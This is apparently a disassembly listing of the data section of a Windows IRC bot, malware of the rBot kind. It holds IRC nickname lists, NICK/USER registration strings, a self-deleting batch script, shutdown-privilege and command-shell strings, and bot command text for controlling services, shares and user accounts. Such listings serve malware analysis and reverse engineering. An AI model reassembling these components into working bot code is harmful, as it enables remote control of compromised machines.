aGf		db 'gf',0               ; DATA XREF: ___:0043866Co
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438668o
		align 4
aRg		db 'rg',0               ; DATA XREF: ___:00438664o
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438660o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438640o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:004385F8o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: ___:004385F4o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:004385F0o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:004385ECo
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:004385E8o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:004385E4o
		align 4
aSex_0		db '{sex}',0            ; DATA XREF: ___:004385E0o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:004385DCo
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:004385D8o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:004385D4o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:004385D0o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:004385CCo
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:004385C8o
aLag		db 'lag',0              ; DATA XREF: ___:004385C4o
aBad		db 'bad',0              ; DATA XREF: ___:004385C0o
aTree		db 'tree',0             ; DATA XREF: ___:004385BCo
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:004385B8o
aLez		db 'lez',0              ; DATA XREF: ___:004385B4o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:004385ACo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:004385A8o
		align 10h
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:004385A4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:004385A0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:0043859Co
		align 10h
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438598o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438594o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438590o
		align 10h
aCem39		db 'cem39',0            ; DATA XREF: ___:0043858Co
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438588o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438584o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438580o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:0043857Co
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438578o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438574o
aAkden		db 'akden',0            ; DATA XREF: ___:00438570o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:0043856Co
		align 10h
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438568o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438564o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438560o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:0043855Co
		align 10h
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438558o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438554o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438550o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:0043854Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438548o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00438544o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438540o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:0043853Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438538o
		align 10h
off_4389E0	dd offset byte_4B5245	; DATA XREF: ___:00438534o
aSevda		db 'sevda',0            ; DATA XREF: ___:00438530o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:0043852Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438528o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00438524o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00438520o
		align 10h
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:0043851Co
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00438518o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00438514o
		align 10h
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00438510o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:0043850Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00438508o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:00438504o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00438500o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004384FCo
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004384F8o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004384F4o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004384F0o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004384ECo
		align 10h
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004384E8o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:004384E4o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:004384E0o
aHoly		db 'holy',0             ; DATA XREF: ___:004384DCo
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:004384D8o
		align 10h
aKebikec	db 'kebikec',0          ; DATA XREF: ___:004384D4o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:004384D0o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:004384CCo
		align 10h
aEmre		db 'Emre--',0           ; DATA XREF: ___:004384C8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004384C4o
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004384C0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:004384BCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:004384B8o
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:004384B4o
aArda		db 'arda',0             ; DATA XREF: ___:004384B0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:004384ACo
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:004384A8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:004384A4o
		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:004384A0o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:0043849Co
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00438498o
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00438494o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438490o
		align 4
off_438B74	dd offset byte_457441	; DATA XREF: ___:0043848Co
dword_438B78	dd 414C5941h, 2Dh	; DATA XREF: ___:00438488o
aAlbina		db 'albina',0           ; DATA XREF: ___:00438484o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438480o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:0043847Co
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438478o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00438474o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438470o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:0043846Co
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438468o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:00438464o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438460o
		align 10h
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:0043845Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00438458o
		align 10h
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00438454o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438450o
aArzu		db 'ARZU',0             ; DATA XREF: ___:0043844Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438448o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00438444o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438440o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:0043843Co
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438438o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:00438434o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438430o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:0043842Co
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438428o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00438424o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438420o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:0043841Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00438418o
		align 10h
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00438414o
		align 10h
aBerk19		db 'berk19',0           ; DATA XREF: ___:00438410o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:0043840Co
		align 10h
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00438408o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00438404o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00438400o
		align 10h
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004383FCo
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004383F8o
aReshma		db 'reshma',0           ; DATA XREF: ___:004383F4o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004383F0o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004383ECo
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004383E8o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:004383E4o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: ___:004383E0o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:004383DCo
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:004383D8o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:004383D4o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:004383D0o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:004383CCo
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:004383C8o
		align 10h
aJanno		db 'janno',0            ; DATA XREF: ___:004383C4o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:004383C0o
		align 10h
aHeval		db 'heval',0            ; DATA XREF: ___:004383BCo
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:004383B8o
aMarcy		db 'marcy',0            ; DATA XREF: ___:004383B4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:004383B0o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:004383ACo
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:004383A8o
aFlexster	db 'flexster',0         ; DATA XREF: ___:004383A4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:004383A0o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:0043839Co
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438398o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00438394o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438390o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:0043838Co
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438388o
		align 10h
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00438384o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438380o
		align 10h
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:0043837Co
		align 4
aM_0:					; DATA XREF: ___:00438378o
					; ___:004386C4o
		unicode	0, <M>,0
word_438DE0	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00438374o
		align 4
dword_438DE4	dd 42h			; DATA XREF: ___:00438370o
dword_438DE8	dd 56h			; DATA XREF: ___:0043836Co
dword_438DEC	dd 43h			; DATA XREF: ___:00438368o
dword_438DF0	dd 58h			; DATA XREF: ___:00438364o
					; ___:004386F8o
dword_438DF4	dd 5Ah			; DATA XREF: ___:00438360o
dword_438DF8	dd 4Ch			; DATA XREF: ___:0043835Co
dword_438DFC	dd 4Bh			; DATA XREF: ___:00438358o
dword_438E00	dd 4Ah			; DATA XREF: ___:00438354o
dword_438E04	dd 48h			; DATA XREF: ___:00438350o
dword_438E08	dd 47h			; DATA XREF: ___:0043834Co
dword_438E0C	dd 46h			; DATA XREF: ___:00438348o
					; ___:004386C0o
dword_438E10	dd 44h			; DATA XREF: ___:00438344o
dword_438E14	dd 53h			; DATA XREF: ___:00438340o
dword_438E18	dd 50h			; DATA XREF: ___:00438338o
dword_438E1C	dd 4Fh			; DATA XREF: ___:00438334o
dword_438E20	dd 55h			; DATA XREF: ___:0043832Co
word_438E24	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00438328o
		align 4
dword_438E28	dd 54h			; DATA XREF: ___:00438324o
dword_438E2C	dd 52h			; DATA XREF: ___:00438320o
dword_438E30	dd 45h			; DATA XREF: ___:0043831Co
dword_438E34	dd 57h			; DATA XREF: ___:00438318o
dword_438E38	dd 51h			; DATA XREF: ___:00438314o
dword_438E3C	dd 62h			; DATA XREF: ___:00438308o
					; ___:004385FCo ...
dword_438E40	dd 78h			; DATA XREF: ___:004382FCo
					; ___:00438654o
dword_438E44	dd 7Ah			; DATA XREF: ___:004382F8o
					; ___:0043865Co ...
dword_438E48	dd 6Ch			; DATA XREF: ___:004382F4o
					; ___:00438628o
dword_438E4C	dd 68h			; DATA XREF: ___:004382E8o
					; ___:00438614o
dword_438E50	dd 67h			; DATA XREF: ___:004382E4o
					; ___:00438610o ...
dword_438E54	dd 66h			; DATA XREF: ___:004382E0o
					; ___:0043860Co
dword_438E58	dd 79h			; DATA XREF: ___:004382C4o
					; ___:00438658o
dword_438E5C	dd 77h			; DATA XREF: ___:004382B4o
					; ___:00438650o
dword_438E60	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_438E6C	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_438E70	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_438FE8	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_439018	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 10h
dword_439040	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h, 0
off_439060	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_439064	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_439068	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 4390D4h, 4390CCh,	2, 4390C0h, 4390B4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:00439094o
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439090o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439088o
aStart_0	db 'Start',0            ; DATA XREF: ___:00439084o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0043907Co
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439078o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439070o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043906Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_439064o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439060o
unk_439128	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43914C	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_439178	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_4396CC	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_4396F0	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43970C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_439758	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_4397B8	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_4397E0	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439810	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439830	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_4399EC	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_5		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439A20	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439D28	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
